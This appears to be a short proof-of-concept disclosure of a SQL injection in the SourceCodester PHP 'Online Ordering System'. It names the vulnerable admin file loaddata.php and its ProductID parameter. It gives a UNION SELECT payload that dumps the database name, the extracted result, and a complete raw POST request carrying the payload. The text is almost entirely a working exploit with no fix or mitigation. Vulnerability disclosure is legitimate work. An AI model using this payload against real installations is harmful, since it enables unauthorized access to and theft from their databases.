Author: k0xx
vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html
Vulnerability file: /ordering/admin/stockin/loaddata.php
Vulnerability location: /ordering/admin/stockin/loaddata.php&ProductID //ProductID is Injection point
[+]Payload: ProductID=-2' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13--+ //ProductID is Injection point
Current database name: multistoredb
POST /ordering/admin/stockin/loaddata.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
ProductID=-2' union select 1,2,database(),4,5,6,7,8,9,10,11,12,13--+
